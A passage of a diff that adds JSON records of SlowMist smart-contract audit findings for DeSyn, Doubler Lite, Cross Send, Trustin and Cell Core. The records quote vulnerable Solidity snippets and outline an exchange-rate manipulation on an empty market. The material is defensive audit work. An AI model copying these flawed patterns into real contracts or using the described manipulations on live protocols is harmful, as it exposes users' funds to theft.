_records in the ETF to be skewed after the operator operates through the above function. ", + "labels": [ + "SlowMist", + "DeSyn LeverageStaking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Partial rebind issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn LeverageStaking - SlowMist Audit Report.pdf", + "body": "In the LeverageStake contract, the increaseLever and decreaseLever functions respectively increase/decrease the leverage ratio of the ETF in AAVE, and at the same time rebind the astETH tokens in the ETF, but do not update the _records status of ETH and stETH in the ETF, which will cause The _records state does not match the actual token balance in the ETF. ", + "labels": [ + "SlowMist", + "DeSyn LeverageStaking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Potential denial of service risk due to gulp operations", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report_en-us.pdf", + "body": "In the Actions contract, when the user performs the autoJoinSmartPool operation, the number of shares the user can obtain will be calculated through the _calculateShare function, and minPoolAmountOut will be checked at the end. The _calculateShare function obtains the number of tokens recorded in the pool through bPool's getBalance when calculating the share, but unfortunately any user can update this parameter through bPool's gulp function. Therefore, when an ordinary user performs an autoJoinSmartPool operation, a malicious user directly transfers funds to bPool and calls the gulp function to update the token balance recorded in the pool. At this time, ordinary users will not be able to successfully add liquidity due to the minPoolAmountOut check. If the minPoolAmountOut value passed in by an ordinary user is 0, it may cause an interest rate ination attack. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Denial of Service Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Incorrect event logging", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report_en-us.pdf", + "body": "In the CRP contract, the createPool function adds the creator parameter as the real creator of the pool. However, the corresponding events were not modied accordingly. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Incorrect WETH address", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report_en-us.pdf", + "body": "The WETH address constant is hard-coded in the Actions contract, but this address is an EOA address on the Ethereum mainnet and is not the correct WETH address. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Others", + "Severity: High" + ] + }, + { + "title": "Incorrect poolTokens check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report_en-us.pdf", + "body": "In the autoJoinSmartPool function of the Actions contract, it checks the tokens deposited by the user through poolTokens[i] == handleToken , but handleToken has been replaced by the issueToken parameter during the native token checking phase. Therefore, the poolTokens[i] == handleToken check is not accurate. If handleToken is WETH, it will cause an error in the _makeSwap operation. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Redundant STBT token check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report_en-us.pdf", + "body": "In the autoJoinSmartPool and _exit functions of the Actions contract, when making a token transfer, it will be checked whether the transferred token is an STBT token. But in fact, the protocol does not allow deposits of STBT tokens, and STBT tokens will also be converted into stablecoins after the ETF expires. Therefore, theoretically, there will be no STBT tokens in the contract, so the STBT token check is redundant. . ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Potential risk of slot conict", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report_en-us.pdf", + "body": "In this protocol iteration, both SmartPoolManager and Actions contracts have changed their storage structures. If these contracts use an upgradeable model, and upgrading the contract directly on the original basis may lead to contract storage slot conicts. In fact, the Actions contract is an upgradeable contract, so special attention should be paid to such risks.", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Variable Coverage Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of event forgery", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report_en-us.pdf", + "body": "In the CRP contract, the exitPool function adds a user parameter to record the real caller when the user exits through the Actions contract. However, users can also exit by calling the exitPool function of the CRP contract. They can pass in any user parameter to make the LogExit event record an incorrect value. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Malicious Event Log Audit", + "Severity: Low" + ] + }, + { + "title": "Potential risk of denial of service due to large CRPFactory array", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report_en-us.pdf", + "body": "In the CRPFactory contract, when the Blabs role performs addCRPFactory and removeCRPFactory operations, it will use a for loop to traverse the entire CRPFactorys array. If the array length is too large, it will lead to DoS risks. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Denial of Service Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Potential risk of endless loop", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report_en-us.pdf", + "body": "In the CRPFactory contract, the isCrp function is used to check whether the address passed by the user is a CRP contract. If not, the CRPFactorys array will be circulated and the isCrp function of other CRPFactory will be called to check. However, it should be noted that if the Blabs role adds this contract address to the CRPFactorys array, the user will fall into an innite loop error when querying a CRP address that is not recorded in this contract through the isCrp function. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Denial of Service Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Unchecked asset type in inputEth function allows potential asset mismatch", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler Lite.pdf", + "body": "The input function lacks a crucial check to verify if the _asset parameter corresponds to an ETH pool. This oversight creates a potential vulnerability. In a scenario where both ETH and BTC pools exist, a user could potentially input ETH but have it processed as BTC. This mismatch between the intended and actual asset type could lead to unexpected behavior and potential exploitation of the system. contracts/Doubler.sol function inputEth( address _asset, uint256 _qAmount, address _to ) external payable nonReentrant onlyOncePerBlock onlyAsset(_asset) { if (msg.value != _qAmount) revert E_Balance(); _input(_asset, _qAmount, _to, true); }", + "labels": [ + "SlowMist", + "Doubler Lite", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Issue with fee allocation in the _limitMint function", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler Lite.pdf", + "body": "In the _limitMint function, the distribution of minting fees should be based on the length of _srvFeeAddr . Currently, the number of _srvFeeAddr entries called from the Doubler contract is only 2. However, if other contracts call this function with a dierent length of _srvFeeAddr in the future, it will result in allocating more fees than intended. contracts/RBToken.sol function _limitMint( address _recipient, uint256 _tokenAmount, uint256 _poolTotalLimit, address[] memory _srvFeeAddr, uint16 _srvFeeRatio ) internal returns (uint256 recipientTokenAmount) { ... _totalShare = _totalShare + newShares; uint256 recipientNewShare = newShares; recipientTokenAmount = _tokenAmount; if (_srvFeeRatio > 0) { uint256 srvFee = (newShares * _srvFeeRatio) / _perMil; recipientTokenAmount = recipientTokenAmount - (_tokenAmount * _srvFeeRatio) / _perMil; for (uint8 i = 0; i < _srvFeeAddr.length; i++) { _shares[_srvFeeAddr[i]] = _shares[_srvFeeAddr[i]] + srvFee / 2; recipientNewShare = recipientNewShare - srvFee / 2; _emitTransferEvents(address(0x0), _recipient, (_tokenAmount * _srvFeeRatio) / _perMil, srvFee); } } _shares[_recipient] = _shares[_recipient] + recipientNewShare; _emitTransferEvents(address(0x0), _recipient, recipientTokenAmount, recipientNewShare); }", + "labels": [ + "SlowMist", + "Doubler Lite", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler Lite.pdf", + "body": "The owner can modify the fees and fee recipients in the pool, which can cause damage to the project's funds if the private key is compromised. contracts/Doubler.sol owner can initializeDoubler owner can updateLowerOfInputMaximum owner can newPool owner can updatePool ADMIN can set the upper and lower price limits of the prediction machine, which will aect the functionality of the contract if ADMIN's private key is compromised. contracts/FastPriceFeed.sol ADMIN can setAssetPriceLimit ADMIN can setPriceFeedTimeLimit ADMIN can newAsset ADMIN can switchPriceFeed The owner can set the address where the fee will be charged, and if the private key is leaked, it will result in the loss of the project's funds. contracts/DoublerFactory.sol contracts/DoublerFactory.sol owner can updateEcoAddr owner can newPool", + "labels": [ + "SlowMist", + "Doubler Lite", + "Type: Authority Control Vulnerability Audit", + "Severity: Low" + ] + }, + { + "title": "Potential bypass Issue with onlyOncePerBlock", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler Lite.pdf", + "body": "In the design logic of doubler lite, atoken, btoken, and ctoken are all transferable. The onlyOncePerBlock mechanism is intended to restrict a user to a single function operation within one block. However, this restriction only applies to msg.sender, allowing users to bypass the limitation by making calls through multiple contracts. contracts/Doubler.sol modifier onlyOncePerBlock() { if (_lastBlockCalled[msg.sender] >= block.number) revert E_BlockOnce(); _; _lastBlockCalled[msg.sender] = block.number; }", + "labels": [ + "SlowMist", + "Doubler Lite", + "Type: Others", + "Severity: Medium" + ] + }, + { + "title": "Abnormal implementation logic in getPooledByShares", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler Lite.pdf", + "body": "In the getPooledByShares function, it should retrieve the corresponding token amount based on sharesAmount. However, the actual interface called retrieves sharesAmount based on the token amount. contracts/RBToken.sol function getPooledByShares(uint256 _sharesAmount) public view returns (uint256) { return _getSharesByPooledToken(_sharesAmount); }", + "labels": [ + "SlowMist", + "Doubler Lite", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Potential risk due to the unique nature of 10xBToken", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler Lite.pdf", + "body": "Since 10xBToken is a special type of token where users hold shares instead of actual quantities, there may be an extreme risk when users add liquidity providers. In an extreme scenario, subsequent investors can obtain a large number of shares, causing the price of BToken in the pool to rise sharply (because the actual token quantity obtainable by the pools shares decreases). This could result in liquidity providers incurring losses as a small amount of tokens might be used to exchange for a large amount of corresponding assets. Status Acknowledged", + "labels": [ + "SlowMist", + "Doubler Lite", + "Type: Others", + "Severity: Information" + ] + }, + { + "title": "Impact of inationary or deationary tokens on the doubler lite economic model", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler Lite.pdf", + "body": "In the economic model of Doubler Lite, the use of inationary (e.g., stETH) or deationary tokens does not aect the overall economic model. This is because all calculations are based on shares, and the ination or deation impacts only the temporary average price of the tokens, which aligns with the design expectations. Status Acknowledged", + "labels": [ + "SlowMist", + "Doubler Lite", + "Type: Others", + "Severity: Information" + ] + }, + { + "title": "Recommendations for parameter checking", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler Lite.pdf", + "body": "contracts/Doubler.sol Suggest checking startTime, endTime to make sure startTime is less than endTime, and checking creator to make sure creator is not address(0). function _checkPoolParam(Pool memory _pl) internal pure { if (_pl.inputFee > 20) revert E_FeeLimit(); if (_pl.withdrawFee > 20) revert E_FeeLimit(); }", + "labels": [ + "SlowMist", + "Doubler Lite", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Send V1.0.1_en-us.pdf", + "body": "Ether is not accepted by default, which is a redundant code. cross-send/contracts/CrossSend.sol#L41-L47 initial-hotcross-oering/contracts/BaseIHO.sol#L67-L73 fallback () external payable { revert(\"cannot directly accept currency transfers\"); } receive () external payable { revert(\"cannot directly receive currency transfers\"); 15 }", + "labels": [ + "SlowMist", + "Cross Send V1.0.1", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Gas optimization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Send V1.0.1_en-us.pdf", + "body": "If one of the batch transfers fails, the transaction that was previously transferred normally will be reverted, but Gas has been consumed. It is a gas optimization issue here. cross-send/contracts/CrossSend.sol#L175-L210 function sendToken( IERC20 token, address[] memory recipients, uint256[] memory amounts ) private returns(uint256) { uint256 total = 0; for (uint256 i = 0; i < recipients.length ; i++) { require(_msgSender() != recipients[i], \"sender != recipient\"); token.safeTransferFrom(_msgSender(), recipients[i], amounts[i]); total += amounts[i]; } return total; } function sendNative( address[] memory recipients, uint256[] memory amounts ) private returns(uint256) { uint256 total = 0; 16 for (uint256 i = 0; i < recipients.length ; i++) { total += amounts[i]; (bool success, ) = payable(recipients[i]).call{value: amounts[i]}(\"\"); require(success, \"native transfer failed\"); } return total; }", + "labels": [ + "SlowMist", + "Cross Send V1.0.1", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of allowance amount abuse", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Send V1.0.1_en-us.pdf", + "body": "There have an allowance amount in the contract, but the distributeTokenFee function does not limit the caller, and there is an issue of being called arbitrarily, but it can only transfer the balance of the sender to the feeCollector. cross-send/contracts/fee-managers/RecipientCountFee.sol#L65-L83 function distributeTokenFee( uint256 txRecipientCount, uint256, uint256, uint256, uint256, address sender ) public override { uint256 payableFee = txRecipientCount * tokenFeePerRecipient; 17 if(payableFee < minTokenFee) { payableFee = minTokenFee; } else if (payableFee > maxTokenFee) { payableFee = maxTokenFee; } token.safeTransferFrom(sender, feeCollector, payableFee); }", + "labels": [ + "SlowMist", + "Cross Send V1.0.1", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Price manipulation issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Send V1.0.1_en-us.pdf", + "body": "The IOUPrice is calculated using totalFarmingTokenBalance. Attackers can control totalFarmingTokenBalance to manipulate IOUPrice. The current code does not nd the location where IOUPrice is used. Referencehttps://slowmist.medium.com/cream-hacked-analysis-us-130-million-hacked-95c9410320ca cross-yield/contracts/core/CrossYield.sol#L95-L101 function IOUPrice() public view returns (uint256) { uint256 IOUSupply = totalSupply(); return IOUSupply == 0 ? 1e18 : (totalFarmingTokenBalance() * 1e18) / IOUSupply; } 18 cross-yield/contracts/core/CrossYield.sol#L65-L67 function totalFarmingTokenBalance() public view returns (uint256) { return farmingToken().balanceOf(address(this)) + strategy.balanceOf(); }", + "labels": [ + "SlowMist", + "Cross Send V1.0.1", + "Type: Others", + "Severity: Medium" + ] + }, + { + "title": "Sandwich attacks issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Send V1.0.1_en-us.pdf", + "body": "There is no slippage check during swap, and there is a risk of sandwich attack. IPancakeRouter02(pcsRouter).swapExactTokensForTokens(cakeBalance, 0,cakeToBaseRoute, address(this), block.timestamp); IPancakeRouter02(pcsRouter) .swapExactTokensForTokens(toSwap, 0, route, address(this), block.timestamp); Reference https://medium.com/coinmonks/demystify-the-dark-forest-on-ethereum-sandwich-attacks-5a3aec9fa33e cross-yield/contracts/libs/OptimalSwap.sol#L14-L63 function prepareLiquidity( address cake, address[2] memory lpTokens, 19 address wbnb, address busd, address farmingToken, address pcsRouter, uint256 fee ) external { uint256 cakeBalance = IERC20(cake).balanceOf(address(this)); bool isCakeInLp = lpTokens[0] == cake || lpTokens[1] == cake; bool isWbnbBased = lpTokens[0] == wbnb || lpTokens[1] == wbnb; address baseToken = isWbnbBased ? wbnb : busd; // if cake is not part of the lp token, swap all cake for the base token if (!isCakeInLp) { address[] memory cakeToBaseRoute = new address[](2); cakeToBaseRoute[0] = cake; cakeToBaseRoute[1] = baseToken; IPancakeRouter02(pcsRouter) .swapExactTokensForTokens(cakeBalance, 0, cakeToBaseRoute, address(this), block.timestamp); } (uint256 reserve0, uint256 reserve1,) = IPancakePair(farmingToken).getReserves(); address[] memory route = new address[](2); uint256 lp0Bal = IERC20(lpTokens[0]).balanceOf(address(this)); uint256 lp1Bal = IERC20(lpTokens[1]).balanceOf(address(this)); uint256 toSwap; // The possible cases here are: // - Cake was not part of the LP token, so we swap for baseToken which could either be lpToken0 or lpToken // - Cake was part of the LP token, so it can either be lpTokens[0] or lpTokens[1] // So, depending on which token we have the highest balance for, we swap for the other one. if (lp0Bal > lp1Bal) { toSwap = SwapAmount.getSwapAmount(lp0Bal, reserve0, fee); route[0] = lpTokens[0]; route[1] = lpTokens[1]; } else { toSwap = SwapAmount.getSwapAmount(lp1Bal, reserve1, fee); route[0] = lpTokens[1]; route[1] = lpTokens[0]; 20 } // Perform the swap IPancakeRouter02(pcsRouter) .swapExactTokensForTokens(toSwap, 0, route, address(this), block.timestamp); } IPancakeRouter02(pcsRouter).swapExactTokensForTokens(toWbnb, 0, cakeToWbnbRoute, address(this), block.timestamp); cross-yield/contracts/strategies/StrategyCake.sol#L131 function collectFees() internal { // a percentant of the cake we get from the masterchef will be used to buy BNB and transfer to this address // this is the total fees that will be shared amongst the protocol, stategy dev and the harvester uint256 toWbnb = feeManager.calculateTotalFee(IERC20(farmingToken).balanceOf(address(this))); IPancakeRouter02(pcsRouter).swapExactTokensForTokens(toWbnb, 0, cakeToWbnbRoute, address(this), block.timestamp); uint256 wbnbBal = IERC20(wbnb).balanceOf(address(this)); // distribute hervester fee uint256 harvesterFeeAmount = feeManager.calculateHarvestFee(wbnbBal); // collectFees is called indirectly from the CrossYield contract via the beforeDeposit hook. // This means that _msgSender() is the CrossYield contract and not the actuall EOA account // that send the transaction IERC20(wbnb).safeTransfer(tx.origin, harvesterFeeAmount); // distribute protocol fee uint256 protocolFeeAmount = feeManager.calculateProtocolFee(wbnbBal); // IERC20(wbnb).safeTransfer(protocolFeeRecipient, protocolFeeAmount); feeProcessor.process(protocolFeeAmount); // distribute strategy dev fee uint256 strategyDevFeeAmount = feeManager.calculateStrategyDevFee(wbnbBal); IERC20(wbnb).safeTransfer(feeManager.strategyDev(), strategyDevFeeAmount); emit FeeCollected( toWbnb, 21 harvesterFeeAmount, protocolFeeAmount, strategyDevFeeAmount, _msgSender() ); } cross-yield/contracts/strategies/StrategyCakeLP.sol#L174 function collectFees() internal { // a percentant of the cake we get from the masterchef will be used to buy BNB and transfer to this address // this is the total fees that will be shared amongst the protocol, stategy dev and the harvester uint256 toWbnb = feeManager.calculateTotalFee(IERC20(cake).balanceOf(address(this))); IPancakeRouter02(pcsRouter).swapExactTokensForTokens(toWbnb, 0, cakeToWbnbRoute, address(this), block.timestamp); uint256 wbnbBal = IERC20(wbnb).balanceOf(address(this)); // distribute hervester fee uint256 harvesterFeeAmount = feeManager.calculateHarvestFee(wbnbBal); IERC20(wbnb).safeTransfer(_msgSender(), harvesterFeeAmount); // distribute protocol fee uint256 protocolFeeAmount = feeManager.calculateProtocolFee(wbnbBal); feeProcessor.process(protocolFeeAmount); // distribute strategy dev fee uint256 strategyDevFeeAmount = feeManager.calculateStrategyDevFee(wbnbBal); IERC20(wbnb).safeTransfer(feeManager.strategyDev(), strategyDevFeeAmount); emit FeeCollected( toWbnb, harvesterFeeAmount, protocolFeeAmount, strategyDevFeeAmount, _msgSender() ); } cross-yield/contracts/strategies/StrategyCake.sol 22 function harvest() public override whenNotPaused { // claim rewards IMasterChef(masterchef).leaveStaking(0); // because harvest can automatically be called after each user deposit // we might end up having multiple deposits in the same block and only one // would return rewards from masterchef so the rest will have 0 cake so // we don't need to waste gas to collect fees and call deposit uint256 farmingTokenBalance = balanceOfFarmingToken(); if(farmingTokenBalance > 0) { collectFees(); deposit(); emit HarvestTriggered(_msgSender(), farmingTokenBalance); } } cross-yield/contracts/strategies/StrategyCakeLP.sol#l137-L148 function harvest() external override whenNotPaused { // claim rewards IMasterChef(masterchef).deposit(poolId, 0); uint256 harvestedAmount = IERC20(cake).balanceOf(address(this)); collectFees(); addLiquidity(); deposit(); emit HarvestTriggered(_msgSender(), harvestedAmount); }", + "labels": [ + "SlowMist", + "Cross Send V1.0.1", + "Type: Reordering Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Missing slippage check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Send V1.0.1_en-us.pdf", + "body": "The addLiquidity function without slippage check, it doesn't have an impermanent loss check. cross-yield/contracts/strategies/StrategyCakeLP.sol#L218 function addLiquidity() internal { OptimalSwap.prepareLiquidity( cake, [lpToken0, lpToken1], wbnb, busd, farmingToken, pcsRouter, swapFee ); // add liquidity to AMM on PCS uint256 lp0Bal = IERC20(lpToken0).balanceOf(address(this)); uint256 lp1Bal = IERC20(lpToken1).balanceOf(address(this)); IPancakeRouter02(pcsRouter) .addLiquidity(lpToken0, lpToken1, lp0Bal, lp1Bal, 0, 0, address(this), block.timestamp); emit LiquidityAdded(lpToken0, lpToken1, lp0Bal, lp1Bal, _msgSender()); }", + "labels": [ + "SlowMist", + "Cross Send V1.0.1", + "Type: Reordering Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Permission check Missing", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Send V1.0.1_en-us.pdf", + "body": "There is no permission check for deposit function. The function is called by the CrossYieid contract. cross-yield/contracts/strategies/StrategyCakeLP.sol#L225-L231 function deposit() public override whenNotPaused { uint256 farmingTokenBalance = balanceOfFarmingToken(); if (farmingTokenBalance > 0) { IMasterChef(masterchef).deposit(poolId, farmingTokenBalance); } } cross-yield/contracts/strategies/StrategyCake.sol#L169-L175 function deposit() public override whenNotPaused { uint256 farmingTokenBalance = balanceOfFarmingToken(); if (farmingTokenBalance > 0) { IMasterChef(masterchef).enterStaking(farmingTokenBalance); } }", + "labels": [ + "SlowMist", + "Cross Send V1.0.1", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Excessive authority issue 25", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Send V1.0.1_en-us.pdf", + "body": "Owner can modify the address of the strategy. The new strategy may have security risks if it is not audited, which will aect the user's funds. If the private key is leaked, it will aect the user's funds. cross-yield/contracts/core/CrossYield.sol#L224-L236 function upgradeStrategy() public onlyOwner { require(stratCandidate.strategy != address(0), \"No proposal exists\"); require(block.number > stratCandidate.proposedBlock + stratUpgradableAfter, \"Strategy cannot be replaced yet\"); emit NewStrategy(stratCandidate.strategy); strategy.retireStrategy(); strategy = IStrategy(stratCandidate.strategy); stratCandidate.strategy = address(0); stratCandidate.proposedBlock = 0; putFundsToWork(); } cross-yield/contracts/core/CrossYield.sol#L211-L220 function proposeStrategy(address _strategy) public onlyOwner { require(address(this) == IStrategy(_strategy).vault(), \"Invalid new strategy\"); stratCandidate = StrategyCandidate({ strategy: _strategy, proposedBlock: block.number }); emit NewStratCandidate(_strategy); }", + "labels": [ + "SlowMist", + "Cross Send V1.0.1", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Repeatable claims issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Send V1.0.1_en-us.pdf", + "body": "After the claim, lottery.status is not set as claimed, and it is also necessary to check whether lotteryId has been claimed when the claim is executed. hotdrop/contracts/HotDrop.sol#L261-L274 function claim(uint256 lotteryId) external nonReentrant { Lottery storage lottery = lotteries[lotteryId]; require(lottery.status == Status.WinnerDrawn, \"winner not drawn\"); // if there is no winner transfer the total amount to the treasury if(tickets[lotteryId][lottery.winningNumber] == address(0)) { lottery.purchaseToken.safeTransfer(treasury, lottery.purchaseToken.balanceOf(address(this))); } else if(tickets[lotteryId][lottery.winningNumber] == _msgSender()) { // if the ticket is the winning ticket and belongs to the user then split the pot uint256 treasuryAmount = (lottery.totalRaised * lottery.treasuryFee) / FEE_BASE; lottery.purchaseToken.safeTransfer(treasury, treasuryAmount); lottery.purchaseToken.safeTransfer(_msgSender(), lottery.totalRaised - treasuryAmount); } }", + "labels": [ + "SlowMist", + "Cross Send V1.0.1", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Round plan security reminder", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Send V1.0.1_en-us.pdf", + "body": "And the new round of lottery can only be opened when the last round of lottery is in WinnerDrawn, otherwise randomGenerator.latestLotteryId will be updated, which will cause the old lottery round to fail to execute drawWinner function due to this check. require(lotteryId == randomGenerator.latestLotteryId(), \"numbers not drawn\"); hotdrop/contracts/HotDrop.sol#L44-L256 function drawWinner(uint256 lotteryId) external nonReentrant { Lottery storage lottery = lotteries[lotteryId]; require(lottery.status == Status.Close, \"lottery still active\"); require(lotteryId == randomGenerator.latestLotteryId(), \"numbers not drawn\"); // get the winning number based on the randomResult generated by ChainLink's fallback uint256 winningNumber = randomGenerator.randomResult(); lottery.winningNumber = winningNumber; lottery.status = Status.WinnerDrawn; emit LotteryNumberDrawn(lotteryId, winningNumber); }", + "labels": [ + "SlowMist", + "Cross Send V1.0.1", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Trustin_en_us.pdf", + "body": "In the Comptroller, CToken, SimplePriceOracle, and Unitroller contracts, the admin role can modify key sensitive parameters such as the manager roles, the rate model, the market, the pause status, the whitelist, the price of the underlying asset, and the admin role, which will lead to the risk of over-privilege of the admin role. ", + "labels": [ + "SlowMist", + "Trustin_en_us", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Decimal loss with an empty marke", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Trustin_en_us.pdf", + "body": "If there are two markets, one of which was used by the UI, one of which was empty. Someone can mint collateral tokens in an empty market and redeem most minted tokens, then donate redeemed asset tokens to inate the exchange rate through the getAccountSnapshot function. Next, borrow a dierent asset with the manipulated exchange rate, and redeem collateral to recover donation. However, the redeemUnderlying function may wrongly be rounded down on the tokens to remove from a malicious caller, which causes the redemption of many tokens only to require little underlying assets. The last, liquidation borrower contract position with borrowed funds and redeem collateral tokens to reset the empty market. Reference: https://www.comp.xyz/t/hundred-nance-exploit-and-compound-v2/4266 ", + "labels": [ + "SlowMist", + "Trustin_en_us", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Receive can lock users native tokens", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Trustin_en_us.pdf", + "body": "There is a receive function in the CErc20Delegator, Timelock, and Unitroller contracts so that the contracts can receive native tokens. However, the receive function can lock users native tokens when users transfer the native token in these contracts by mistake and there is no token processing logic. ", + "labels": [ + "SlowMist", + "Trustin_en_us", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Missing the event record", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Trustin_en_us.pdf", + "body": "The admin role can modify the compAddress parameter, but there are no event logs in these functions. ", + "labels": [ + "SlowMist", + "Trustin_en_us", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "External call reminder", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Trustin_en_us.pdf", + "body": "In the Comptroller contract, users can call the claimZnt to claim the comp in markets, but the implementation address is seting by the admin and the import Zenith is not in the audit scope. ", + "labels": [ + "SlowMist", + "Trustin_en_us", + "Type: Unsafe External Call Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event record", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cell Core_en-us.pdf", + "body": "The following functions do not log events. contracts/Cell.sol updateStageRecordMaxCount updateStageRecordCostPoint updateStageRecordIncPoint updateStageRecordValid addSigner removeSigner setProxyer contracts/Nucleus.sol setOracleAddress contracts/Oracle.sol addOracleAddress removeOracleAddress setTokenNameAddress setRates setRatePeriod setFixedPrice revokeFixedPrice contracts/Proxy.sol setOracleAddress setCellAddress setMintPrice", + "labels": [ + "SlowMist", + "Cell Core", + "Type: Malicious Event Log Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Safe transfer issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cell Core_en-us.pdf", + "body": "contracts/Nucleus.sol Use transferFrom in the claim function to transfer the token. If the token in the operation does not meet the eip20 standard, the transaction may fail. contracts/Proxy.sol Use transferFrom in the mint function to transfer the token. If the token in the operation does not meet the eip20 standard, the transaction may fail.", + "labels": [ + "SlowMist", + "Cell Core", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": 